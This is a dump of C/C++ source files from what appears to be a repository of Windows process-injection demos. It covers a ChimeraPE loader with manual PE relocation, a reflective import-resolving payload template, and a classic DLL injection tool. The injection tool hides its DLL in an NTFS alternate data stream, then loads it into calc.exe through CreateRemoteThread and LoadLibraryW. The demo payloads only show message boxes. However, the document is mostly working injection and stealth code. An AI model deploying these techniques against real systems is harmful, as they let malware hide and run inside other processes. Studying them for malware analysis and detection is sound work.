24 | BASE_RELOCATION_ENTRY* entry = block;
25 | SIZE_T i = 0;
26 | for (i = 0; i < entriesNum; i++) {
27 | DWORD offset = entry->Offset;
28 | DWORD type = entry->Type;
29 | if (entry == NULL || type == 0) {
30 | break;
31 | }
32 | if (type != RELOC_32BIT_FIELD) {
33 | printf("Not supported relocations format at %d: %d\n", static_cast(i), type);
34 | return false;
35 | }
36 | DWORD* relocateAddr = (DWORD*) ((ULONG_PTR) modulePtr + page + offset);
37 | (*relocateAddr) = static_cast((*relocateAddr) - (ULONG_PTR) oldBase) + newBase;
38 | entry = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) entry + sizeof(WORD));
39 | }
40 | printf("[+] Applied %d relocations\n", static_cast(i));
41 | return true;
42 | }
43 |
44 | bool apply_relocations(ULONGLONG newBase, ULONGLONG oldBase, PVOID modulePtr)
45 | {
46 | IMAGE_DATA_DIRECTORY* relocDir = get_pe_directory32(modulePtr, IMAGE_DIRECTORY_ENTRY_BASERELOC);
47 | if (relocDir == NULL) {
48 | printf ("Cannot relocate - application have no relocation table!\n");
49 | return false;
50 | }
51 | DWORD maxSize = relocDir->Size;
52 | DWORD relocAddr = relocDir->VirtualAddress;
53 |
54 | IMAGE_BASE_RELOCATION* reloc = NULL;
55 |
56 | DWORD parsedSize = 0;
57 | while (parsedSize < maxSize) {
58 | reloc = (IMAGE_BASE_RELOCATION*)(relocAddr + parsedSize + (ULONG_PTR) modulePtr);
59 | parsedSize += reloc->SizeOfBlock;
60 |
61 | if (reloc->VirtualAddress == NULL || reloc->SizeOfBlock == 0) {
62 | continue;
63 | }
64 |
65 | printf("RelocBlock: %x %x\n", reloc->VirtualAddress, reloc->SizeOfBlock);
66 |
67 | size_t entriesNum = (reloc->SizeOfBlock - 2 * sizeof(DWORD)) / sizeof(WORD);
68 | DWORD page = reloc->VirtualAddress;
69 |
70 | BASE_RELOCATION_ENTRY* block = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) reloc + sizeof(DWORD) + sizeof(DWORD));
71 | if (apply_reloc_block32(block, entriesNum, page, oldBase, newBase, modulePtr) == false) {
72 | return false;
73 | }
74 | }
75 | return true;
76 | }
77 |
--------------------------------------------------------------------------------
/chimera_pe/src/resource.h:
--------------------------------------------------------------------------------
1 | // resource.h
2 |
3 | #define MY_RESOURCE 101
4 |
--------------------------------------------------------------------------------
/chimera_pe/src/resource.rc:
--------------------------------------------------------------------------------
1 | // resource.rc :
2 |
3 | // Microsoft Visual C++ generated resource script.
4 | //
5 | #include "resource.h"
6 |
7 | #define APSTUDIO_READONLY_SYMBOLS
8 | /////////////////////////////////////////////////////////////////////////////
9 | //
10 | // Generated from the TEXTINCLUDE 2 resource.
11 | //
12 | #include "windows.h"
13 |
14 | /////////////////////////////////////////////////////////////////////////////
15 | #undef APSTUDIO_READONLY_SYMBOLS
16 |
17 | /////////////////////////////////////////////////////////////////////////////
18 |
19 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_PLK)
20 | LANGUAGE LANG_ENGLISH, SUBLANG_DEFAULT
21 |
22 | #ifdef APSTUDIO_INVOKED
23 | /////////////////////////////////////////////////////////////////////////////
24 | //
25 | // TEXTINCLUDE
26 | //
27 |
28 | 1 TEXTINCLUDE
29 | BEGIN
30 | "resource.h\0"
31 | END
32 |
33 | 2 TEXTINCLUDE
34 | BEGIN
35 | "#include ""windows.h""\r\n"
36 | "\0"
37 | END
38 |
39 | 3 TEXTINCLUDE
40 | BEGIN
41 | "\r\n"
42 | "\0"
43 | END
44 |
45 | #endif // APSTUDIO_INVOKED
46 |
47 |
48 | /////////////////////////////////////////////////////////////////////////////
49 | //
50 | // RCDATA
51 | //
52 |
53 | MY_RESOURCE RCDATA "demo.bin"
54 |
55 | #endif
56 | /////////////////////////////////////////////////////////////////////////////
57 |
--------------------------------------------------------------------------------
/chimera_pe/src/run.bat:
--------------------------------------------------------------------------------
1 | demo.bin
--------------------------------------------------------------------------------
/chimera_pe/src/sysutil.cpp:
--------------------------------------------------------------------------------
1 | #include "sysutil.h"
2 |
3 | #include
4 | #include
5 |
6 | typedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
7 |
8 | bool is_compiled_32b()
9 | {
10 | if (sizeof(LPVOID) == sizeof(DWORD)) {
11 | return true;
12 | }
13 | return false;
14 | }
15 |
16 | bool is_wow64()
17 | {
18 | LPFN_ISWOW64PROCESS fnIsWow64Process;
19 | BOOL bIsWow64 = false;
20 |
21 | //IsWow64Process is not available on all supported versions of Windows.
22 | //Use GetModuleHandle to get a handle to the DLL that contains the function
23 | //and GetProcAddress to get a pointer to the function if available.
24 |
25 | fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
26 | if (fnIsWow64Process == NULL) {
27 | return false;
28 | }
29 | if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) {
30 | return false;
31 | }
32 | if (bIsWow64 == TRUE) {
33 | return true; //64 bit
34 | }
35 | return false; //32 bit
36 | }
37 |
38 | bool is_system32b()
39 | {
40 | //is the current application 32 bit?
41 | if (!is_compiled_32b()) {
42 | return false;
43 | }
44 | //check if it is running under WoW
45 | if (is_wow64()) {
46 | return false;
47 | }
48 | return true;
49 | }
50 |
--------------------------------------------------------------------------------
/chimera_pe/src/sysutil.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | bool is_compiled_32b();
4 | bool is_wow64();
5 | bool is_system32b();
6 |
--------------------------------------------------------------------------------
/chimera_pe/src/target_util.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | bool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath)
4 | {
5 | HKEY phkResult;
6 | DWORD iMaxLen = szOutPath;
7 |
8 | LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"HTTP\\shell\\open\\command", 0, 1u, &phkResult);
9 | if (res != ERROR_SUCCESS) {
10 | printf("[ERROR] Failed with value = %x\n", res);
11 | return false;
12 | }
13 |
14 | res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen);
15 | if (res != ERROR_SUCCESS) {
16 | printf("[ERROR] Failed with value = %x\n", res);
17 | return false;
18 | }
19 | printf("%S\n", lpwOutPath );
20 | return true;
21 | }
22 |
23 | bool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath)
24 | {
25 | #if defined(_WIN64)
26 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath);
27 | #else
28 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath);
29 | #endif
30 | printf("%S\n", lpwOutPath );
31 | return true;
32 | }
33 |
34 | bool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath)
35 | {
36 | #if defined(_WIN64)
37 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\svchost.exe", lpwOutPath, szOutPath);
38 | #else
39 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\svchost.exe", lpwOutPath, szOutPath);
40 | #endif
41 | printf("%S\n", lpwOutPath );
42 | return true;
43 | }
44 |
45 | bool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath)
46 | {
47 | ExpandEnvironmentStrings(L"%windir%\\explorer.exe", lpwOutPath, szOutPath);
48 | printf("%S\n", lpwOutPath );
49 | return true;
50 | }
51 |
--------------------------------------------------------------------------------
/chimera_pe_payload_template/README.md:
--------------------------------------------------------------------------------
1 | # chimera_pe_payload_template
2 | This template can be used to extend abilities of ChimeraPE method of injection:
3 | ChimeraPE loader can fill only functions imported from Kernel32.dll
4 | This template allows creating a payload that fills the rest of it's own import table (like a reflective loader)
5 | Demo of the loader you can find here: https://github.com/hasherezade/demos/tree/master/chimera_pe
6 | WARNING: This is a 32-bit version for demo purpose. See the extended version here: https://github.com/hasherezade/chimera_loader
7 |
--------------------------------------------------------------------------------
/chimera_pe_payload_template/src/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required ( VERSION 2.8...3.21 )
2 | project (ChimeraPE_Payload)
3 |
4 | add_definitions(-DUNICODE -D_UNICODE)
5 | set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /MT")
6 |
7 | set (srcs
8 | main.cpp
9 | start_actions.cpp
10 | reflective/pe_hdrs_helper.cpp
11 | )
12 |
13 | set (hdrs
14 | ntddk.h
15 | reflective/pe_hdrs_helper.h
16 | reflective/reflective_imports_load.h
17 | start_actions.h
18 | test.h
19 | )
20 |
21 | add_executable (ChimeraPE_Payload ${hdrs} ${srcs})
22 |
23 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} )
24 |
--------------------------------------------------------------------------------
/chimera_pe_payload_template/src/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include "reflective/reflective_imports_load.h"
4 |
5 | #include "start_actions.h"
6 |
7 | int main(int argc, char **argv)
8 | {
9 | #if defined(_WIN64)
10 | #error 64 bit not supported! Compile this program as 32bit application!
11 | return -1;
12 | #else
13 | if (!apply_imports32()) {
14 | return -2;
15 | }
16 | return start_actions(argc, argv);
17 | #endif
18 | }
19 |
--------------------------------------------------------------------------------
/chimera_pe_payload_template/src/reflective/pe_hdrs_helper.cpp:
--------------------------------------------------------------------------------
1 | #include "pe_hdrs_helper.h"
2 |
3 | IMAGE_NT_HEADERS* get_nt_hrds(BYTE *pe_buffer)
4 | {
5 | if (pe_buffer == NULL) return NULL;
6 |
7 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer;
8 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
9 | return NULL;
10 | }
11 | const LONG kMaxOffset = 1024;
12 | LONG pe_offset = idh->e_lfanew;
13 | if (pe_offset > kMaxOffset) return NULL;
14 |
15 | IMAGE_NT_HEADERS *inh = (IMAGE_NT_HEADERS *)((BYTE*)pe_buffer + pe_offset);
16 | return inh;
17 | }
18 |
19 | IMAGE_DATA_DIRECTORY* get_pe_directory(PVOID pe_buffer, DWORD dir_id)
20 | {
21 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;
22 |
23 | //fetch relocation table from current image:
24 | PIMAGE_NT_HEADERS nt_headers = get_nt_hrds((BYTE*) pe_buffer);
25 | if (nt_headers == NULL) return NULL;
26 |
27 | IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]);
28 | if (peDir->VirtualAddress == NULL) {
29 | return NULL;
30 | }
31 | return peDir;
32 | }
33 |
--------------------------------------------------------------------------------
/chimera_pe_payload_template/src/reflective/pe_hdrs_helper.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | IMAGE_NT_HEADERS* get_nt_hrds(BYTE *pe_buffer);
5 | IMAGE_DATA_DIRECTORY* get_pe_directory(PVOID pe_buffer, DWORD dir_id);
6 |
--------------------------------------------------------------------------------
/chimera_pe_payload_template/src/reflective/reflective_imports_load.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 |
5 | #include "pe_hdrs_helper.h"
6 |
7 | //define functions prototypes
8 | typedef HMODULE (WINAPI *load_lib) (
9 | _In_ LPCSTR lpLibFileName
10 | );
11 |
12 | typedef BOOL (WINAPI* virtual_protect) (
13 | _In_ LPVOID lpAddress,
14 | _In_ SIZE_T dwSize,
15 | _In_ DWORD flNewProtect,
16 | _Out_ PDWORD lpflOldProtect
17 | );
18 |
19 |
20 | typedef FARPROC (WINAPI* get_proc_addr) (
21 | _In_ HMODULE hModule,
22 | _In_ LPCSTR lpProcName
23 | );
24 |
25 | //define handles:
26 | HMODULE kernel32_base = NULL;
27 | load_lib load_lib_ptr = NULL;
28 | virtual_protect virtual_protect_ptr = NULL;
29 | get_proc_addr get_proc_addr_ptr = NULL;
30 |
31 | LPVOID get_module_bgn(BYTE *start)
32 | {
33 | while (start != NULL) {
34 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*) start;
35 | if (get_nt_hrds((BYTE*)idh) != NULL) return idh;
36 | start--;
37 | }
38 | return NULL;
39 | }
40 |
41 | bool init_functions()
42 | {
43 | kernel32_base = GetModuleHandle(L"kernel32.dll");
44 | if (kernel32_base == NULL) return false;
45 |
46 | load_lib_ptr = (load_lib)GetProcAddress(kernel32_base, "LoadLibraryA");
47 | virtual_protect_ptr = (virtual_protect)GetProcAddress(kernel32_base, "VirtualProtect");
48 | get_proc_addr_ptr = (get_proc_addr)GetProcAddress(kernel32_base, "GetProcAddress");
49 | if (!load_lib_ptr || !virtual_protect_ptr || !get_proc_addr_ptr) {
50 | return false;
51 | }
52 | return true;
53 | }
54 |
55 | bool write_handle_b32(HMODULE hLib, DWORD call_via, LPSTR func_name, LPVOID modulePtr)
56 | {
57 | FARPROC hProc = (FARPROC)get_proc_addr_ptr(hLib, func_name);
58 | LPVOID call_via_ptr = (LPVOID)((ULONGLONG)modulePtr + call_via);
59 | DWORD oldProtect;
60 |
61 | virtual_protect_ptr((BYTE*)call_via_ptr, sizeof(DWORD), PAGE_EXECUTE_READWRITE, &oldProtect);
62 | memcpy(call_via_ptr, &hProc, sizeof(DWORD));
63 | virtual_protect_ptr((BYTE*)call_via_ptr, sizeof(DWORD), oldProtect, &oldProtect);
64 | printf("proc addr: %p -> %p\n", hProc, call_via_ptr);
65 | return true;
66 | }
67 |
68 | bool solve_imported_funcs_b32(LPSTR lib_name, DWORD call_via, DWORD thunk_addr, LPVOID modulePtr)
69 | {
70 | // if handles to functions from user32.dll were filled by the loader
71 | // but in the target - user32.dll was not loaded - it will get loaded now
72 | // and handles will become valid:
73 | HMODULE hLib = load_lib_ptr(lib_name);
74 | if (hLib == NULL) return false;
75 |
76 | //for other unsolved libraries, handles must be retrieved and written:
77 | do {
78 | LPVOID call_via_ptr = (LPVOID)((ULONGLONG)modulePtr + call_via);
79 | if (call_via_ptr == NULL) break;
80 |
81 | LPVOID thunk_ptr = (LPVOID)((ULONGLONG)modulePtr + thunk_addr);
82 | if (thunk_ptr == NULL) break;
83 |
84 | DWORD *thunk_val = (DWORD*)thunk_ptr;
85 | DWORD *call_via_val = (DWORD*)call_via_ptr;
86 | if (*call_via_val == 0) {
87 | //nothing to fill, probably the last record
88 | return true;
89 | }
90 |
91 | //those two values are supposed to be the same before the file have imports filled
92 | //so, if they are different it means the handle is already filled
93 | if (*thunk_val == *call_via_val) {
94 | //fill it:
95 | IMAGE_THUNK_DATA32* desc = (IMAGE_THUNK_DATA32*) thunk_ptr;
96 | if (desc->u1.Function == NULL) break;
97 |
98 | PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME) ((ULONGLONG)modulePtr + desc->u1.AddressOfData);
99 | if (desc->u1.Ordinal & IMAGE_ORDINAL_FLAG32) {
100 | //Imports by ordinals are not supported for now
101 | return false;
102 | }
103 | LPSTR func_name = by_name->Name;
104 | printf("name: %s\n", func_name);
105 | if (!write_handle_b32(hLib, call_via, func_name, modulePtr)) {
106 | //printf("Could not load the handle!\n");
107 | return false;
108 | }
109 | }
110 | call_via += sizeof(DWORD);
111 | thunk_addr += sizeof(DWORD);
112 | } while (true);
113 | return true;
114 | }
115 |
116 | //fills handles of mapped pe file
117 | bool apply_imports32(LPVOID modulePtr=NULL)
118 | {
119 | if (!modulePtr) {
120 | modulePtr = get_module_bgn((BYTE*)&apply_imports32);
121 | printf("Module Hndl: %p\n", modulePtr);
122 | }
123 | IMAGE_DATA_DIRECTORY *importsDir = get_pe_directory(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT);
124 | if (importsDir == NULL) return false;
125 |
126 | if (!init_functions()) return false;
127 |
128 | DWORD maxSize = importsDir->Size;
129 | DWORD parsedSize = 0;
130 |
131 | DWORD impAddr = importsDir->VirtualAddress;
132 | IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL;
133 |
134 | while (parsedSize < maxSize) {
135 | lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR) modulePtr);
136 | parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR);
137 |
138 | if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == 0) {
139 | break;
140 | }
141 |
142 | printf("Imported Lib: %x : %x : %x\n", lib_desc->FirstThunk, lib_desc->OriginalFirstThunk, lib_desc->Name);
143 | LPSTR lib_name = (LPSTR)((ULONGLONG) modulePtr + lib_desc->Name);
144 | printf("name: %s\n", lib_name);
145 |
146 | DWORD call_via = lib_desc->FirstThunk;
147 | DWORD thunk_addr = lib_desc->OriginalFirstThunk ? lib_desc->OriginalFirstThunk : lib_desc->FirstThunk;
148 | if (thunk_addr == 0) break;
149 |
150 | solve_imported_funcs_b32(lib_name, call_via, thunk_addr, modulePtr);
151 | }
152 | return true;
153 | }
--------------------------------------------------------------------------------
/chimera_pe_payload_template/src/start_actions.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include "test.h"
3 |
4 |
5 | //this is the new main function, after initialization
6 | //fill it as you like
7 | int start_actions(int argc, char **argv)
8 | {
9 | if (deploy_test() == false) {
10 | return -1;
11 | }
12 | return 0;
13 | }
14 |
--------------------------------------------------------------------------------
/chimera_pe_payload_template/src/start_actions.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | //this is the new main function, after initialization:
4 | int start_actions(int argc, char **argv);
--------------------------------------------------------------------------------
/chimera_pe_payload_template/src/test.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | #pragma comment(lib, "Shlwapi.lib")
7 |
8 | bool get_notepad_path(LPWSTR lpwOutPath, DWORD szOutPath)
9 | {
10 | ExpandEnvironmentStrings(L"%windir%\\notepad.exe", lpwOutPath, szOutPath);
11 | printf("%S\n", lpwOutPath );
12 | return true;
13 | }
14 |
15 | bool show_test_file()
16 | {
17 | DWORD dwRetVal = 0;
18 | WCHAR lpTempPathBuffer[MAX_PATH];
19 | WCHAR filename[MAX_PATH];
20 |
21 | dwRetVal = GetTempPath(MAX_PATH, lpTempPathBuffer);
22 | if (dwRetVal > MAX_PATH || (dwRetVal == 0)) {
23 | return false;
24 | }
25 | PathCombine(filename, lpTempPathBuffer, L"hello_world.txt");
26 | printf("%S\n", filename);
27 |
28 | HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
29 | char data_buf[] = "Fine, everything works :)";
30 | DWORD writen = 0;
31 | BOOL isOk = WriteFile(hFile, data_buf, strlen(data_buf), &writen, NULL);
32 | CloseHandle(hFile);
33 | if (!isOk) return false;
34 |
35 | WCHAR editor_path[MAX_PATH];
36 | isOk = get_notepad_path(editor_path, MAX_PATH);
37 | if (!isOk) return false;
38 | ShellExecute(NULL, L"open", editor_path, filename, lpTempPathBuffer, SW_SHOWNORMAL);
39 |
40 | return true;
41 | }
42 |
43 | bool deploy_test()
44 | {
45 | show_test_file();
46 |
47 | while (true) {
48 | MessageBoxA(NULL, "Hello! You just deployed a ChimeraPE! It works :D","Chimera Payload Template", MB_OK);
49 | Sleep(5000);
50 | }
51 | }
--------------------------------------------------------------------------------
/dll_injection/README.md:
--------------------------------------------------------------------------------
1 | # dll_injection
2 | Dll Injection demo
3 | Classic, simple DLL injection
4 |
--------------------------------------------------------------------------------
/dll_injection/src/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required ( VERSION 2.8...3.21 )
2 | project (DllInjection)
3 |
4 | add_definitions(-DUNICODE -D_UNICODE)
5 |
6 | set (srcs
7 | main.cpp
8 | sysutil.cpp
9 | )
10 |
11 | set (hdrs
12 | resource.h
13 | ntddk.h
14 | target_util.h
15 | createproc.h
16 | enumproc.h
17 | map_buffer_into_process.h
18 | inject_with_loadlibrary.h
19 | sysutil.h
20 | )
21 |
22 | set (rsrc
23 | resource.rc
24 | )
25 |
26 | add_executable (DllInjection ${rsrc} ${hdrs} ${srcs})
27 |
28 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} )
29 |
--------------------------------------------------------------------------------
/dll_injection/src/createproc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | bool create_new_process1(IN LPWSTR path, OUT PROCESS_INFORMATION &pi)
4 | {
5 | STARTUPINFO si;
6 | memset(&si, 0, sizeof(STARTUPINFO));
7 | si.cb = sizeof(STARTUPINFO);
8 |
9 | memset(&pi, 0, sizeof(PROCESS_INFORMATION));
10 |
11 | if (!CreateProcess(
12 | NULL,
13 | path,
14 | NULL, //lpProcessAttributes
15 | NULL, //lpThreadAttributes
16 | FALSE, //bInheritHandles
17 | CREATE_SUSPENDED, //dwCreationFlags
18 | NULL, //lpEnvironment
19 | NULL, //lpCurrentDirectory
20 | &si, //lpStartupInfo
21 | &pi //lpProcessInformation
22 | ))
23 | {
24 | printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError());
25 | return false;
26 | }
27 | return true;
28 | }
29 |
--------------------------------------------------------------------------------
/dll_injection/src/demo.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hasherezade/demos/96ae61e323d49d75799c94bca94279052afc809d/dll_injection/src/demo.bin
--------------------------------------------------------------------------------
/dll_injection/src/enumproc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | bool get_process_name(IN HANDLE hProcess, OUT LPWSTR nameBuf, IN SIZE_T nameMax)
5 | {
6 | HMODULE hMod;
7 | DWORD cbNeeded;
8 |
9 | if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded)) {
10 | GetModuleBaseName( hProcess, hMod, nameBuf, nameMax );
11 | return true;
12 | }
13 | return false;
14 | }
15 |
16 | bool is_searched_process( DWORD processID, LPWSTR searchedName)
17 | {
18 | HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );
19 | if (hProcess == NULL) return false;
20 |
21 | WCHAR szProcessName[MAX_PATH];
22 | if (get_process_name(hProcess, szProcessName, MAX_PATH)) {
23 | if (wcsstr(szProcessName, searchedName) != NULL) {
24 | printf( "%S (PID: %u)\n", szProcessName, processID );
25 | CloseHandle(hProcess);
26 | return true;
27 | }
28 | }
29 | CloseHandle(hProcess);
30 | return false;
31 | }
32 |
33 | HANDLE find_running_process(LPWSTR searchedName)
34 | {
35 | DWORD aProcesses[1024], cbNeeded, cProcesses;
36 | unsigned int i;
37 |
38 | if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded)) {
39 | return NULL;
40 | }
41 |
42 | //calculate how many process identifiers were returned.
43 | cProcesses = cbNeeded / sizeof(DWORD);
44 |
45 | //search handle to the process of defined name
46 | for ( i = 0; i < cProcesses; i++ ) {
47 | if( aProcesses[i] != 0 ) {
48 | if (is_searched_process(aProcesses[i], searchedName)) {
49 | HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, aProcesses[i]);
50 | return hProcess;
51 | }
52 | }
53 | }
54 | return NULL;
55 | }
--------------------------------------------------------------------------------
/dll_injection/src/inject_with_loadlibrary.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include "ntddk.h"
4 |
5 | #include "map_buffer_into_process.h"
6 |
7 | HANDLE inject_with_loadlibrary(HANDLE hProcess, WCHAR *inject_path)
8 | {
9 | SIZE_T inject_path_size = wcslen(inject_path) * sizeof(WCHAR);
10 | //we need to write the full path of the DLL into the remote process:
11 |
12 | PVOID remote_ptr = map_buffer_into_process1(hProcess, (BYTE*)inject_path, inject_path_size, PAGE_READWRITE);
13 | printf("Path writen to: %p\n", remote_ptr);
14 |
15 | HMODULE hModule = GetModuleHandle(L"kernel32.dll");
16 | if (!hModule) return NULL;
17 |
18 | FARPROC hLoadLib = GetProcAddress(hModule, "LoadLibraryW");
19 | if (!hLoadLib) return NULL;
20 |
21 | // Inject to the remote process:
22 | return CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)hLoadLib, remote_ptr, NULL, NULL);
23 | }
--------------------------------------------------------------------------------
/dll_injection/src/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include
5 |
6 | #include "resource.h"
7 |
8 | #include "createproc.h"
9 | #include "enumproc.h"
10 | #include "target_util.h"
11 |
12 | #include "inject_with_loadlibrary.h"
13 | #include "sysutil.h"
14 |
15 | #pragma comment(lib, "Shlwapi.lib")
16 |
17 | BYTE* get_raw_payload(OUT SIZE_T &res_size)
18 | {
19 | HMODULE hInstance = GetModuleHandle(NULL);
20 | HRSRC res = FindResource(hInstance, MAKEINTRESOURCE(MY_RESOURCE), RT_RCDATA);
21 | if (!res) return NULL;
22 |
23 | HGLOBAL res_handle = LoadResource(NULL, res);
24 | if (res_handle == NULL) return NULL;
25 |
26 | BYTE* res_data = (BYTE*) LockResource(res_handle);
27 | res_size = SizeofResource(NULL, res);
28 |
29 | BYTE* out_buf = (BYTE*) VirtualAlloc(NULL,res_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
30 | memcpy(out_buf, res_data, res_size);
31 |
32 | FreeResource(res_handle);
33 | return out_buf;
34 | }
35 |
36 | BOOL write_to_file(BYTE* res_data, SIZE_T res_size, WCHAR* payloadName)
37 | {
38 | HANDLE hFile = CreateFile(payloadName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0);
39 | if (hFile == NULL) return FALSE;
40 |
41 | DWORD written = 0;
42 | BOOL isDropped = WriteFile(hFile, res_data, res_size, &written, NULL);
43 | CloseHandle(hFile);
44 |
45 | if (isDropped == TRUE) {
46 | if (res_size != written) { //failed to write full buffer
47 | DeleteFile(payloadName);
48 | return FALSE;
49 | }
50 | }
51 | return TRUE;
52 | }
53 |
54 | bool drop_dll_to_dir(WCHAR* inject_path)
55 | {
56 | BYTE* res_data = NULL;
57 | SIZE_T res_size = 0;
58 |
59 | if ((res_data = get_raw_payload(res_size)) == NULL) {
60 | printf("Failed!\n");
61 | return false;
62 | }
63 | printf("inject_path = %S\n", inject_path);
64 |
65 | //drop the DLL on the disk:
66 | if (!write_to_file(res_data, res_size, inject_path)) return false;
67 | return true;
68 | }
69 |
70 | HANDLE get_target()
71 | {
72 | WCHAR target_name[] = L"calc.exe";
73 | HANDLE hProcess = find_running_process(target_name);
74 | if (hProcess != NULL) {
75 | return hProcess;
76 | }
77 |
78 | WCHAR target_path[MAX_PATH];
79 | get_calc_path(target_path, MAX_PATH);
80 | PROCESS_INFORMATION pi;
81 | memset(&pi,0, sizeof(PROCESS_INFORMATION));
82 | create_new_process1(target_path, pi);
83 | if (pi.hProcess == NULL) {
84 | return NULL;
85 | }
86 | hProcess = pi.hProcess;
87 | ResumeThread(pi.hThread); //optional
88 | return hProcess;
89 | }
90 |
91 | int main(int argc, char *argv[])
92 | {
93 | if (!is_compiled_32b()) {
94 | printf("[ERROR] Not supported! Compile the loader as a 32 bit application!\n");
95 | system("pause");
96 | return (-1);
97 | }
98 | HANDLE hProcess = get_target();
99 | if (!hProcess) {
100 | printf("Could not fetch the target\n");
101 | system("pause");
102 | return -1;
103 | }
104 | //buffer to store the full path:
105 | WCHAR inject_path[MAX_PATH];
106 |
107 | //we will drop the dll into ADS:
108 | WCHAR my_lib[] = L"log.txt:hidden_dll";
109 |
110 | WCHAR dir_path[MAX_PATH];
111 | GetTempPath(MAX_PATH, dir_path);
112 | PathCombine(inject_path, dir_path, my_lib);
113 |
114 | if (!drop_dll_to_dir(inject_path)) return -1;
115 |
116 | if (!inject_with_loadlibrary(hProcess, inject_path)) {
117 | //injection failed, delete the dropped dll:
118 | DeleteFile(inject_path);
119 | printf("Failed!\n");
120 | }
121 | system("pause");
122 | return 0;
123 | }
124 |
--------------------------------------------------------------------------------
/dll_injection/src/map_buffer_into_process.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include // for printf
3 | #include
4 | #include "ntddk.h"
5 |
6 | //set of alternative functions doing the same by a different way
7 |
8 | PVOID map_buffer_into_process1(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE)
9 | {
10 | HANDLE hSection = NULL;
11 | OBJECT_ATTRIBUTES hAttributes;
12 | memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
13 |
14 | LARGE_INTEGER maxSize;
15 | maxSize.HighPart = 0;
16 | maxSize.LowPart = static_cast(buffer_size);
17 | NTSTATUS status = NULL;
18 | if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, protect, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
19 | {
20 | printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
21 | return NULL;
22 | }
23 | printf("Section handle: %p\n", hSection);
24 |
25 | PVOID sectionBaseAddress = NULL;
26 | SIZE_T viewSize = 0;
27 | SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
28 |
29 | // map the section in context of current process:
30 | if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, protect)) != STATUS_SUCCESS)
31 | {
32 | printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
33 | return NULL;
34 | }
35 | printf("Section BaseAddress: %p\n", sectionBaseAddress);
36 |
37 | memcpy (sectionBaseAddress, buffer, buffer_size);
38 | printf("Buffer copied!\n");
